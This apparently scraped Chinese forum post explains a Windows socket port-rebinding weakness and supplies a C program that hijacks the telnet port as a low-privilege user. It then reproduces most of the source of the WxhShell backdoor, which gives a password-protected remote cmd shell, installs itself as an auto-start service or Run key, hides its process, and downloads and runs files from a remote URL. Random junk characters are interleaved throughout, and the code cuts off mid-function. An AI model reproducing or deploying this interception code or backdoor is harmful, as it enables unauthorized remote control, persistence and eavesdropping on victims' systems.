在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\0FT!}
L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?HHzQ4w%{ {fSfq&o saddr.sin_family = AF_INET;
sNU}n<J- mE#nU(+Ta saddr.sin_addr.s_addr = htonl(INADDR_ANY);
s* jfMY ]qw0V
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
l!IKUzt)7 99iUOw c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hh.Q\qhubB gmSQcN) 这意味着什么?意味着可以进行如下的攻击:
0NO1M)HQv RM*f|j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
YTyX`Y# +iF
1sC_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#^mqQRpgq ^~L}<] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?Hy+'sq[ :]eb<J
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Bo\D.a(T 2>hz_o{5', 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2RppP?M! (%<' A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]re'LC!d Jfg7\&| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
o7xgRSz\ P -Fg^tl #include
&:#m&,tQ #include
4Nmea-!* #include
(v#pj8aE #include
Rs$5PdH DWORD WINAPI ClientThread(LPVOID lpParam);
&/ouW'oP int main()
!E&MBAKy {
MC=G "m:_ WORD wVersionRequested;
Rf[V)x DWORD ret;
RazBc .o< WSADATA wsaData;
U=!@Db5k~ BOOL val;
&2.+Igo|G SOCKADDR_IN saddr;
C}CKnkMMD SOCKADDR_IN scaddr;
_ 6:ww/ int err;
%cW;}Y[?P SOCKET s;
F=&;Y@t SOCKET sc;
3q &k int caddsize;
QB 77:E HANDLE mt;
t =dO DWORD tid;
`mB.pz[ wVersionRequested = MAKEWORD( 2, 2 );
HcJE0-" err = WSAStartup( wVersionRequested, &wsaData );
l
C\E if ( err != 0 ) {
wq72%e printf("error!WSAStartup failed!\n");
W(&6 return -1;
9qH[o?] }
3ps,uozj saddr.sin_family = AF_INET;
am:.NG+ 5}a"?5J^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\f"?Tv-C' A8dI:E+$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8wF#e\Va0 saddr.sin_port = htons(23);
&=-PRza%j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9e5gy {
(fXq<GXAn/ printf("error!socket failed!\n");
v.`+I-\.z) return -1;
:t2B^})\ }
/PC` 0/b val = TRUE;
* bZ\@Qm //SO_REUSEADDR选项就是可以实现端口重绑定的
F 1} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'TX M{RGw {
.xpmp6- printf("error!setsockopt failed!\n");
EUwQIA2c8N return -1;
r'd/qnd }
K+mU_+KRp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
R`Qpd3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
sx-F8:Qa //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
BLW]|p|1: ]p$zvMf} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\GHOg.P {
5<N~3
1z ret=GetLastError();
+k
rFB?>` printf("error!bind failed!\n");
l10-XU02 return -1;
; J2-rh }
lO&cCV; listen(s,2);
eU~?p|Np while(1)
ve%l({ {
SOI)/u caddsize = sizeof(scaddr);
&"AQ;%&N //接受连接请求
^Fp=y,D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,o)4p\nV if(sc!=INVALID_SOCKET)
VR v02m5 {
D -iUN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lJj&kVHb if(mt==NULL)
0pNo`Bm {
#HDesen printf("Thread Creat Failed!\n");
IHVMHOq}' break;
tw86:kYEz }
yjeL9:jH[ }
q
u:To7 CloseHandle(mt);
Ws>i)6[ }
6!RikEAh closesocket(s);
-aN":?8(G WSACleanup();
,cS0 return 0;
3k{c$x} }
&(0N.=R DWORD WINAPI ClientThread(LPVOID lpParam)
L?.7\a@ {
VIYV92[ SOCKET ss = (SOCKET)lpParam;
wWFW,3b SOCKET sc;
) MBS unsigned char buf[4096];
"VQ|Ed SOCKADDR_IN saddr;
MHNe>C-!q long num;
gA:[3J,[; DWORD val;
CK Mv7 DWORD ret;
iUCwKpb9 //如果是隐藏端口应用的话,可以在此处加一些判断
U IQ 6SvM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
e/P4mc) saddr.sin_family = AF_INET;
CKN8z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2*YP"Ryh saddr.sin_port = htons(23);
:}y| 4*z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{9'hOi50 {
X{'wWWZC printf("error!socket failed!\n");
9;pzzZ return -1;
^Yr|K }
IrUi
Eq val = 100;
{DS\!0T-X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'ucGt {
h=Oh9zsz8 ret = GetLastError();
X{s/``n return -1;
x{2o[dK4} }
iBS0rT_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=<>pKQ)[ {
j
aD! ret = GetLastError();
s79q5 return -1;
@[0jFjK }
Q~h6J* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QglYU {
_&K\D
p&@ printf("error!socket connect failed!\n");
gTuX *7w closesocket(sc);
X-v~o/r7 closesocket(ss);
UCn.t return -1;
5{HtJ?sKc5 }
w2@"PGR while(1)
o6:45 {
,?fN#gc : //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q+HZ?V( //如果是嗅探内容的话,可以再此处进行内容分析和记录
1=ip,D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sD.6"w7} num = recv(ss,buf,4096,0);
$Llvp bl if(num>0)
7_1W:-A7W send(sc,buf,num,0);
!HvGlj@(| else if(num==0)
=s6E/K break;
`M,Nd'5&| num = recv(sc,buf,4096,0);
a2[8wv1 if(num>0)
$xQ"PJ2 send(ss,buf,num,0);
srvYAAE else if(num==0)
q?1yE@th break;
:"y0oCu7`W }
yI lV[_ closesocket(ss);
n~9 i^ closesocket(sc);
GPMrs)J*! return 0 ;
tb: }
FBcm;cjH M,ppCHy/$ BZ2nDW*% ==========================================================
}]tFz}E\ :mzCeX8 * 下边附上一个代码,,WXhSHELL
Ko]QCLL m&,bC)} ==========================================================
#i@ACAgn;6 !W0P`i< #include "stdafx.h"
#`r(zI[ OA!R5sOz" #include <stdio.h>
vP-3j #include <string.h>
VPdwSW[eM #include <windows.h>
@pTD{OW? #include <winsock2.h>
7:# #include <winsvc.h>
O{Dm;@J-aM #include <urlmon.h>
2B5A!?~> Jk%'mEGE #pragma comment (lib, "Ws2_32.lib")
umqLKf=x! #pragma comment (lib, "urlmon.lib")
o; 6fvn 9/FG,9 #define MAX_USER 100 // 最大客户端连接数
keq r%:E8 #define BUF_SOCK 200 // sock buffer
=rtS#u
Y #define KEY_BUFF 255 // 输入 buffer
yi sF5`+ q^)=F_QvG #define REBOOT 0 // 重启
p1Y+ #define SHUTDOWN 1 // 关机
&zO3qt6 -3u@hp_ #define DEF_PORT 5000 // 监听端口
/rn" Gg'<Q.H #define REG_LEN 16 // 注册表键长度
GJ.kkTMT #define SVC_LEN 80 // NT服务名长度
OiYNH~hv P\Ai|"=&] // 从dll定义API
j
l}!T[5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Fecx';_1` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q;CayN'I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
w 9/nVu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>0kmRVd [0h* & // wxhshell配置信息
xi;/^)r struct WSCFG {
dK[* int ws_port; // 监听端口
_{[k[] char ws_passstr[REG_LEN]; // 口令
MV%
:ES? int ws_autoins; // 安装标记, 1=yes 0=no
+Gk!
t]dy char ws_regname[REG_LEN]; // 注册表键名
'2wXV;` char ws_svcname[REG_LEN]; // 服务名
,Le&I9*% char ws_svcdisp[SVC_LEN]; // 服务显示名
)>-77\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
tniPEmeS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8f /T!5 int ws_downexe; // 下载执行标记, 1=yes 0=no
av'd%LZP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[`y:M&@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mrK,Ql i_[^s:*T };
x:!C(Ep) SPfD2%jjC // default Wxhshell configuration
&oon'q5; struct WSCFG wscfg={DEF_PORT,
/'R UA "xuhuanlingzhe",
DZ%g^DRZX 1,
nYI/&B{p "Wxhshell",
b`(yu.{Jn "Wxhshell",
9`)w@-~~ "WxhShell Service",
+9F^F>mu "Wrsky Windows CmdShell Service",
NFrNm'v "Please Input Your Password: ",
om XBnzT 1,
)j{WeG7L "
http://www.wrsky.com/wxhshell.exe",
%bCcsdK "Wxhshell.exe"
%KbBH:z05 };
t-.2+6"\ qf_hb // 消息定义模块
*37LN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"bHtf_ char *msg_ws_prompt="\n\r? for help\n\r#>";
~AEqfIx*^& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L4\SBO char *msg_ws_ext="\n\rExit.";
&&]"Y!r - char *msg_ws_end="\n\rQuit.";
=-OCM*5~S char *msg_ws_boot="\n\rReboot...";
,maAw}= char *msg_ws_poff="\n\rShutdown...";
"[%;B0J char *msg_ws_down="\n\rSave to ";
ZAI1p+ u5u0*c char *msg_ws_err="\n\rErr!";
B, QC-Tn char *msg_ws_ok="\n\rOK!";
A8_\2'b dH
^b)G4 char ExeFile[MAX_PATH];
tqff84 int nUser = 0;
`f\5p+!<7R HANDLE handles[MAX_USER];
c%q}"Y0oh int OsIsNt;
J0IdFFZ|w pb=jvK SERVICE_STATUS serviceStatus;
<Cf7E SERVICE_STATUS_HANDLE hServiceStatusHandle;
-_y~rx
> 5W?yj>JR // 函数声明
g28S3 '2 int Install(void);
g\
8#:@at int Uninstall(void);
nU=f<]S= int DownloadFile(char *sURL, SOCKET wsh);
5QqJI#4~ int Boot(int flag);
kGB#2J void HideProc(void);
()+jrrK int GetOsVer(void);
c,6<7 int Wxhshell(SOCKET wsl);
sh',"S#=@ void TalkWithClient(void *cs);
&LCUoTzj int CmdShell(SOCKET sock);
2 ||KP|5@ int StartFromService(void);
%f_)<NP9= int StartWxhshell(LPSTR lpCmdLine);
!~Hafn-1 (hhdbf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4FfwpO3,Ku VOID WINAPI NTServiceHandler( DWORD fdwControl );
BxSk%$J xm<5S;E5U4 // 数据结构和表定义
:0J-ek.; SERVICE_TABLE_ENTRY DispatchTable[] =
jw`&Np2Q {
pl
jV|.? {wscfg.ws_svcname, NTServiceMain},
{u(}ED#p {NULL, NULL}
x?k };
(&9DB #U",,*2 // 自我安装
m~= ]^e int Install(void)
DuTlYXM2^ {
2.HZ+1 char svExeFile[MAX_PATH];
*@-q@5r}! HKEY key;
9J-!o]f .b strcpy(svExeFile,ExeFile);
NDs]}5# /{eih]`x( // 如果是win9x系统,修改注册表设为自启动
.LeF|EQU\@ if(!OsIsNt) {
7| h3. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>.!5M L\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.d#G]8suF RegCloseKey(key);
H3p4,Y}'# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+P>
A
P& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^Ff~j&L@{ RegCloseKey(key);
!Zk%P return 0;
f^[{k
{t }
="#:=i] }
Y\z^\k }
zVc7q7E else {
\,@Yl.,+ V'HlAQr // 如果是NT以上系统,安装为系统服务
5CH-:|(;= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S`GXiwk if (schSCManager!=0)
[B2>*UPl {
Hnd9T(UB SC_HANDLE schService = CreateService
}\`-G+i{W (
'?vgp schSCManager,
1A`?y&
Ll wscfg.ws_svcname,
6]@|7|N>X wscfg.ws_svcdisp,
i-i}`oN SERVICE_ALL_ACCESS,
MrKU,- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|mQtjo SERVICE_AUTO_START,
:o.x=c B SERVICE_ERROR_NORMAL,
<6}f2^ svExeFile,
c]g<XVI
NULL,
!SO$k%b}! NULL,
j &0fC!k NULL,
=E"kv!e
NULL,
m>Z\
rqOK NULL
Ul$X% );
ig.6[5a\ if (schService!=0)
.^)C:XiW {
LAK-!!0X CloseServiceHandle(schService);
!"Oj$c
- CloseServiceHandle(schSCManager);
^?K?\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2d>d(^ strcat(svExeFile,wscfg.ws_svcname);
:YRzI(4J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U!;aM*67 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XW&8T"q7 RegCloseKey(key);
Q[ 9rA return 0;
:C|>y4U&(s }
g'}`FvADi }
u]]5p[|S CloseServiceHandle(schSCManager);
7fN&Q~. }
#g-*n@
1 }
PPj6QJ]R0 cvs"WX3 return 1;
~-`BSR }
r0?hX p~d)2TC4# // 自我卸载
WDH[kJ int Uninstall(void)
u':0"5} {
:m)Rmwn_ HKEY key;
E-tNB{r@ +Qi52OG if(!OsIsNt) {
} TX'Z?Lq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D|Ih e%w- RegDeleteValue(key,wscfg.ws_regname);
<R`,zE@t'( RegCloseKey(key);
ku[=QsMv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X>@.-{6T RegDeleteValue(key,wscfg.ws_regname);
iu6WGmR RegCloseKey(key);
o trTrh return 0;
gGiV1jN_ }
#*>7X>,J }
eRl?9 }
:AqnWy else {
1<qVN'[ .X<"pd*@e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0LHiOav if (schSCManager!=0)
RESGI}u {
j]F#p R}p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#/B~G.+( if (schService!=0)
MMxoKL {
IYM@(c@ld0 if(DeleteService(schService)!=0) {
xeP;"J} CloseServiceHandle(schService);
u>Axq3F CloseServiceHandle(schSCManager);
QkCoW[sn return 0;
*p#YK| }
XvzV
lKL CloseServiceHandle(schService);
X!MfJ^)q }
Xv5Ev@T CloseServiceHandle(schSCManager);
Y(I*%=:$ }
e/HX,sf_g }
ZAo)_za&mH Y%?!AmER return 1;
$ Pb[c%' }
s!o<Pd yJK X $9D0;L // 从指定url下载文件
RSWB!- int DownloadFile(char *sURL, SOCKET wsh)
48&KdbGX {
Am=PUQF$ HRESULT hr;
P#2TM char seps[]= "/";
$OFFH[_z char *token;
XUqE5[O% char *file;
s<r.+zqW char myURL[MAX_PATH];
Uhx2 _ char myFILE[MAX_PATH];
RJ@e5A6_ |_xiG~ strcpy(myURL,sURL);
"w|k\1D token=strtok(myURL,seps);
Ppb2"I k while(token!=NULL)
/w xxcq {
xX4^nem\G file=token;
'xrbg]b% token=strtok(NULL,seps);
*}iT6OJ }
Wn,g!rB^@ |C2.Zay GetCurrentDirectory(MAX_PATH,myFILE);
!{~7 )iq strcat(myFILE, "\\");
qf&a<[p~ strcat(myFILE, file);
8JFkeU%yO send(wsh,myFILE,strlen(myFILE),0);
?xTeio44 send(wsh,"...",3,0);
>'1Q"$; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+!V%Q if(hr==S_OK)
DIu72\ return 0;
gmAKW4( else
z#E,96R return 1;
g`8
mh&u% ~{7NTW }
2|NyAtPb5 QsF<=b~ // 系统电源模块
\FY De int Boot(int flag)
XOU-8;d {
eg~^wi HANDLE hToken;
q}A3"$-F TOKEN_PRIVILEGES tkp;
+q=jB-eIx S~(VcC$K if(OsIsNt) {
-JO46
#m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
o(SJuZC/U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+U/ "F|M tkp.PrivilegeCount = 1;
Lp]C![\>U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(uK), *6B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BiLreZ~" if(flag==REBOOT) {
p*&LEjaVM4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:ktX7p~ return 0;
!/(}meZj }
TtjSLkF else {
eWk2YP! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zt?w n*_ return 0;
NizJq*V> }
98}vbl31j }
6=lQT
9u{ else {
fu "z%h] if(flag==REBOOT) {
vAhO!5]>\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Gc!{%x return 0;
>]|^Ux,WZ }
?'#;Y"RT else {
(X7yNIPfA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HY| SLk/E return 0;
[[DFEvOEh }
3@ukkO) }
5'Ay@FJ: qlT:9*&g return 1;
fU~y481A }
NGQIoKC ]{U*+K%,J // win9x进程隐藏模块
6)<o O( void HideProc(void)
-Izg&u & {
jW$f(qAbm hgr ,v" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
z'K7J'(R if ( hKernel != NULL )
G}xBYc0b {
N)y;owgo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l
YA+k5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%|* y/m FreeLibrary(hKernel);
k#+^=F^)I }
cCKda3v!O R#bV/7Ol return;
0H]9$D }
&>4$ [m>n 9U1!"/F // 获取操作系统版本
g#3x)97Z int GetOsVer(void)
|wn LxI {
F7Yuky OSVERSIONINFO winfo;
e14Q\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D.x3@+ GetVersionEx(&winfo);
CMjPp`rA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
][qA@3^Tw return 1;
Ip\g^ia else
;ypO' return 0;
l>P~M50D?{ }
=|zLr" o@~gg* // 客户端句柄模块
}4`YdN int Wxhshell(SOCKET wsl)
xT(.#9 {
evk
<<zi SOCKET wsh;
{73DnC~N struct sockaddr_in client;
;.m[&h 0 DWORD myID;
n,%^R
",GC\#^v while(nUser<MAX_USER)
mYRR==iDL {
r~a}B.pj int nSize=sizeof(client);
[/^g) ^s: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m,_oX1h if(wsh==INVALID_SOCKET) return 1;
1fp&"K:yR a'fb0fz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w8Vzx8 if(handles[nUser]==0)
md_s2d closesocket(wsh);
\aRB else
;G&O"S><]c nUser++;
@d9*<>@: }
C>-"*Lt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&G,v*5N8$K L7'n<$F return 0;
KiHAm|, }
.qP
zd(<T7 n8C {Okr // 关闭 socket
!}m8]& void CloseIt(SOCKET wsh)
}E_zW.{! {
KDzIarC closesocket(wsh);
7cSvAX0Z. nUser--;
0drc^rj
! ExitThread(0);
>CA1Ub&ls }
9{&x-ugM 49>yIuG // 客户端请求句柄
+eat,3Ji void TalkWithClient(void *cs)
_+7f+eB {
2)H|/ |0Kt@AJY SOCKET wsh=(SOCKET)cs;
+o5rR|)M+ char pwd[SVC_LEN];
KX@Fgs char cmd[KEY_BUFF];
[)KfRk?};2 char chr[1];
32J int i,j;
r8E!-r}rno LDNUywj@w while (nUser < MAX_USER) {
&$
9bC't6 }0*7bb if(wscfg.ws_passstr) {
a#@opUn- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|LhuZ_;1xo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V6o,}o&- //ZeroMemory(pwd,KEY_BUFF);
R'_[RHFC i=0;
}zLE*b, while(i<SVC_LEN) {
-#hl&^u$ d@~)Wlje // 设置超时
#-8/|_* fd_set FdRead;
z oXF"Nz struct timeval TimeOut;
EkPSG&6RZ FD_ZERO(&FdRead);
R``qQ;cc FD_SET(wsh,&FdRead);
wjs7K|PK TimeOut.tv_sec=8;
}\*|b@)] TimeOut.tv_usec=0;
8A=(,)`}9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
83|/sWrvh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@ZWKs
/$Jh5Bv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
f:>jH+o.S pwd
=chr[0]; l$NEx0Dffz
if(chr[0]==0xd || chr[0]==0xa) { e;v2`2z2
pwd=0; {643Dz<e
break; 'McVaPav
} T!AQJ:;1
i++; A#{*A
} o!N@W
*0tNun 5=3
// 如果是非法用户,关闭 socket _=p|"~rN$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gqamGLK
} :\XD.n-n
6y5~Kh6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nfU}ECun4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O\z%6:'M
l,3tU|V
while(1) { uW|y8 BP $
$1F9TfA
ZeroMemory(cmd,KEY_BUFF); 4O'ho0w7
k3w#^
"i
// 自动支持客户端 telnet标准 1F-L(\oKm
j=0; C$5x*`y
while(j<KEY_BUFF) { n1V*VQV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $MR4jnTT
cmd[j]=chr[0]; :JmNy<
if(chr[0]==0xa || chr[0]==0xd) { <7+.5iB3
cmd[j]=0; ewR0e.g
break; bL<cgtz7)
}
[DviN
j++; w;O '6"
} B:SRHd{*Wu
*&km5@*
// 下载文件 Sr0mA M
if(strstr(cmd,"http://")) { Smo'&x
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tVwN92*J
if(DownloadFile(cmd,wsh)) #';r 0?|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tbw8#[6AX
else 6kk(FVX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dcsd//E
} H3b`)k
sFr
else { "7d_$.Z
j
yE+?4w;
switch(cmd[0]) { ]v@,>!Wn
CEiGjo^
// 帮助 f3O'lc3
case '?': { #N:o)I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0n%`Xb0q
break; x
:s-\>RcA
} 3zkq'lZ
// 安装 d4U_Wu&
case 'i': { aE}u5L$#
if(Install()) {Ffr l(*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bk2vce&
else 2epL!j)Wh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YR>x h2< 9
break; fQ@["b
} o5d)v)Rx=
// 卸载 pE#0949
case 'r': { & |r)pl0$
if(Uninstall()) -3C~}~$>`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); . Hw^Nx
else -Cl0!}P4I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !q?}[E2
break; _[V
6s#Wk3
}
zcc]5>
// 显示 wxhshell 所在路径 qohUxtnTK>
case 'p': { U3>G9g>^B
char svExeFile[MAX_PATH]; >dO^pDSs
strcpy(svExeFile,"\n\r"); Ag-*DH0
strcat(svExeFile,ExeFile); BQ(`MM@
send(wsh,svExeFile,strlen(svExeFile),0); (,k=mF
break; ?V+=uTCq
} UaB!,vs3st
// 重启 aO{k-44y
case 'b': { 'k hJZ:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d+kIof,
if(Boot(REBOOT)) is,_r(S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vU_#(jZ
else { b=sc2)3?
closesocket(wsh); $Khc?v
ExitThread(0); 5u8 YHv
} hhpH)Bi=
break; eG<32$I
} +aMPwTF:3
// 关机 6w'^,V
case 'd': { z;LntQZp-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4IVCTz[
if(Boot(SHUTDOWN)) N9hBGa$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D n^RZLRhy
else { DLVf7/=3~
closesocket(wsh); q~lmOT~E
ExitThread(0); giv cq'L
} 3;&N3:,X
break; k&^f Iz
} -LF^u;s8&S
// 获取shell Tg[+K+ b
case 's': { qzXch["So
CmdShell(wsh); F"_SCA?9?
closesocket(wsh); -YYQnN
ExitThread(0); Y|Z*|c.4OK
break;
n/?_]
} *5 5yF`
// 退出 @f5X
AK?
case 'x': { o(}vR<tD\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TMbj]Mso
CloseIt(wsh); ;Q ]bV52
break; ]P-;]*&=
} h[Hw9$31
// 离开 `5
bHZ
case 'q': { >-Jutr<I"~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ibh!8" [
closesocket(wsh); E[
,Ur`>:
WSACleanup(); \D0Pik@?
exit(1); S%'t
)tt,
break; s iC/k*
} 9R!.U\sq
} 0nC%tCV'
} cxVnlgq1
,+0_kndR
// 提示信息 dx|j,1e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {'JoVJKv
} 0q81H./3
} A^G%8 )\
z.FO6y6L
return; /Ue~W,|
} MSu_*&j9T
R{/nlS5
// shell模块句柄 vU::dr
int CmdShell(SOCKET sock) J 5~bs*a8
{ ">|fB&~A
STARTUPINFO si; ,?728pfw
ZeroMemory(&si,sizeof(si)); =MA$xz3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zbrDDkZ1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ><%z~s
PROCESS_INFORMATION ProcessInfo; PKk_9Xd
char cmdline[]="cmd"; WEZ)7H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2 g,UdG
return 0; yy@g=<okt\
} I;9>$?t[
cZi/bIh
// 自身启动模式 qn:3s
int StartFromService(void) +eQg+@u
{ BTqY_9
typedef struct !CUrpr/*
{ ~'n3],o?
DWORD ExitStatus; f/aSqhAW
DWORD PebBaseAddress; J'W6NitMr
DWORD AffinityMask; ?!KqDI
DWORD BasePriority; e~oI0%xl^
ULONG UniqueProcessId; wP29xV"5
